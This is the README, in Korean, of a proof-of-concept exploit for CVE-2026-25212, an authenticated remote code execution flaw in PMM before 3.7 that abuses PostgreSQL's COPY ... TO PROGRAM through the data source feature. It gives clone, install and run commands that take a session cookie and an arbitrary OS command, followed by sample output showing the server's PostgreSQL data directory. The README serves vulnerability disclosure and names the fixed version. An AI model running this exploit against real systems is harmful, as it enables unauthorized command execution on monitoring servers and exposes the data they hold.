5170temp/cve-2026-25212POC for CVE-2026-25212
심각 – CVSS 9.9 – PMM < 3.7에서 인증된 원격 코드 실행
이 개념 증명(PoC)은 PMM 내부 PostgreSQL 사용자가 'SUPERUSER' 권한을 유지하는 취약점을 이용합니다. 인증된 공격자('pmm-admin' 권한 보유)는 '데이터 소스 추가' 기능을 남용하여 PostgreSQL의 'COPY ... TO PROGRAM'을 통해 임의의 OS 명령을 실행할 수 있습니다.
영향을 받는 버전: PMM < 3.7
수정된 버전: PMM 3.7 (이후)
requests (pip install requests)git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests
COOKIE_VALUE는 grafana_session 쿠키 값입니다. 예: 3131e17e1653ee4eeceb703fac45c717
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"
출력 예시:
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] Done